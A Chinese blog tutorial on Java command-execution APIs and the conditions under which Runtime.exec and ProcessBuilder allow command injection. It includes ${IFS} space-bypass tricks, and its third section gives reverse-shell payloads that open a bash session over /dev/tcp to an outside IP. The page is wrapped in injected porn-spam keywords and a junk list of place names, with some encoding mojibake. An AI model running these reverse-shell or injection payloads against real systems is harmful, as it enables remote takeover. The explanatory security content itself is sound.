最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

java中關于命令執(zhí)行匯總

 更新時間:2023年11月13日 09:13:36   作者:Thunderclap_  
這篇文章主要介紹了java中關于命令執(zhí)行匯總,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教

一、Java中可執(zhí)行命令的API

java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
 
java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()

命令執(zhí)行漏洞只關注 第一個String參數 或者 String[]或列表的第一個元素

  • 如果該參數完全可控,或者是/bin/bash(Linux)或cmd(Windows)等運行shell解析器的命令、后面的部分可控,則可以注入。
  • 如果的哥參數是bat或者sh腳本文件,后面的參數可控,則需要根據腳本如何使用可控參數來判斷是否可以注入。

其他API:

ScriptEngine接口:

可使用ScriptEngine.eval解析多種腳本,比如JavaScript,而JavaScript中可以執(zhí)行java命令。

二、說明

java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接啟動傳入參數對應的進程。

以curl為例,php的system會啟動系統(tǒng)shell,然后通過shell來啟動curl進程,這個過程中,如果傳入的命令帶有shell能解析的語法,就會首先解析。

所以,如果只是命令執(zhí)行的部分參數可控,想在java中通過;、|、&等實現命令注入,是行不通的。

當然不排除程序本身存在漏洞,只需傳入參數即可造成漏洞。

1、ProcessBuilder

第一種情況:某個參數可控

new ProcessBuilder(new String[]{"ls", "-lh", dir};);

//不可執(zhí)行。這種情況下因為不是只能執(zhí)行l(wèi)s命令,后面的均為ls的參數。

第二種情況:完全可控

只能執(zhí)行一些沒有參數的命令,因為ProcessBuilder不支持以字符串形式傳入命令,只能拆分成List或者數組的形式傳入,才能執(zhí)行。

// String cmd = "xx";

ProcessBuilder builder = new ProcessBuilder(cmd);

Process process = builder.start();

//部分任意執(zhí)行。這種情況可執(zhí)行沒有參數的命令,原因為這里 cmd 的值表示的是執(zhí)行命令的文件路徑,因此無法使用參數

第三種情況:shell環(huán)境下的某個參數可控

new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};);

//不可任意執(zhí)行。這種情況下,dir 傳入 pwd 或 ;pwd 都無法執(zhí)行,因為只有 echo test 會作為 -c 選項的參數值

new ProcessBuilder(new String[]{"sh", "-c", "ls -lh " + dir};);

//可執(zhí)行不帶參數的命令。dir 參數用戶可控,如果傳入如 && pwd,則可以成功執(zhí)行 pwd 命令

2、Runtime

Runtime的exec(String command)其內部調用了exec(String command, String[] envp, File dir),傳入的字符串命令會先經過 StringTokenizer 進行處理,即使用分隔符,包括空格,\t\n\r\f 對字符串進行分隔后,再調用 exec(String[] cmdarray, String[] envp, File dir),最后是通過ProcessBuilder 來執(zhí)行的。

第一種情況:

如果參數完全可控,則可以執(zhí)行任意命令

Process process = runtime.exec("sh -c whoami");

第二種情況:

若沒有手動創(chuàng)建 shell 執(zhí)行命令,沒有存在參數注入,則無法實現命令注入

Process process = runtime.exec("ping -c 1 " + ip);

//這種傳入 127.0.0.1 | id,是無法正常執(zhí)行的

第三種情況:

手動創(chuàng)建 shell 執(zhí)行命令,可執(zhí)行-c 的參數值的命令,但值內不能有空格、\t\n\r\f 分隔符,否則會被分割

// 相當于執(zhí)行 sh -c curl,example.com 參數會被忽略

String cmd = "sh -c curl example.com";

// \t 也是分割符之一

String cmd = "sh -c curl\texample.com";

// 使用 ${IFS} (對應內部字段分隔符) 來代替空格,成功執(zhí)行

String cmd = "sh -c curl${IFS}example.com";

三、在exec中反彈shell命令

方法一:

"Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法二:

"Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法三:

str = 命令寫這里。

cmd = "sh -c $@ | sh . echo" + str

"Runtime.getRuntime().exec(cmd)"

總結

以上為個人經驗,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關文章

  • 微服務如何通過feign.RequestInterceptor傳遞參數

    微服務如何通過feign.RequestInterceptor傳遞參數

    這篇文章主要介紹了微服務如何通過feign.RequestInterceptor傳遞參數,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-03-03
  • SpringBoot優(yōu)雅的進行全局異常處理的實現步驟

    SpringBoot優(yōu)雅的進行全局異常處理的實現步驟

    在軟件開發(fā)的世界里,異常處理是保證系統(tǒng)穩(wěn)定性和用戶體驗的關鍵因素之一,尤其是在構建基于微服務架構的應用時,SpringBoot提供了一套強大的工具來幫助開發(fā)者管理這些異常,所以本文給大家介紹了SpringBoot如何優(yōu)雅的進行全局異常處理,需要的朋友可以參考下
    2025-02-02
  • HttpServletRequest對象簡介_動力節(jié)點Java學院整理

    HttpServletRequest對象簡介_動力節(jié)點Java學院整理

    這篇文章主要為大家詳細介紹了HttpServletRequest對象簡介的相關資料,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-07-07
  • 詳解Spring注解--@Autowired、@Resource和@Service

    詳解Spring注解--@Autowired、@Resource和@Service

    本篇文章主要介紹最重要的三個Spring注解,也就是@Autowired、@Resource和@Service,具有很好的參考價值。下面跟著小編一起來看下吧
    2017-05-05
  • Java享元設計模式優(yōu)化對象創(chuàng)建提高性能和效率

    Java享元設計模式優(yōu)化對象創(chuàng)建提高性能和效率

    Java享元設計模式通過共享可重用的對象,減少了系統(tǒng)中對象的數量,優(yōu)化了對象的創(chuàng)建和管理,提高了性能和效率。它是一種經典的設計模式,適用于需要處理大量相似對象的應用程序
    2023-04-04
  • 詳解Java中Comparable和Comparator接口的區(qū)別

    詳解Java中Comparable和Comparator接口的區(qū)別

    這篇文章主要介紹了詳解Java中Comparable和Comparator接口的區(qū)別的相關資料,希望通過本文大家能徹底掌握這部分內容,需要的朋友可以參考下
    2017-09-09
  • Mybatis 動態(tài)SQL搭建環(huán)境的全過程

    Mybatis 動態(tài)SQL搭建環(huán)境的全過程

    這篇文章主要給大家介紹了關于Mybatis動態(tài)SQL搭建環(huán)境的相關資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2021-05-05
  • java ThreadPoolExecutor線程池拒絕策略避坑

    java ThreadPoolExecutor線程池拒絕策略避坑

    這篇文章主要為大家介紹了java ThreadPoolExecutor拒絕策略避坑踩坑示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-07-07
  • SpringBoot基于自定義注解實現切面編程

    SpringBoot基于自定義注解實現切面編程

    這篇文章主要介紹了SpringBoot基于自定義注解實現切面編程,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-11-11
  • IDEA斷點調試,斷點不起作用的解決

    IDEA斷點調試,斷點不起作用的解決

    這篇文章主要介紹了IDEA斷點調試,斷點不起作用的解決方案,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-03-03

最新評論

扎鲁特旗| 中西区| 北宁市| 宝丰县| 郎溪县| 西安市| 基隆市| 唐山市| 财经| 海原县| 磐石市| 奈曼旗| 织金县| 华容县| 漳州市| 屏山县| 南京市| 新安县| 北碚区| 三门峡市| 岱山县| 临夏县| 齐河县| 察哈| 田东县| 杭锦后旗| 公安县| 唐山市| 晋城| 牡丹江市| 宝应县| 营山县| 云安县| 读书| 沁水县| 深州市| 长沙县| 甘肃省| 张家口市| 吉木萨尔县| 嘉黎县|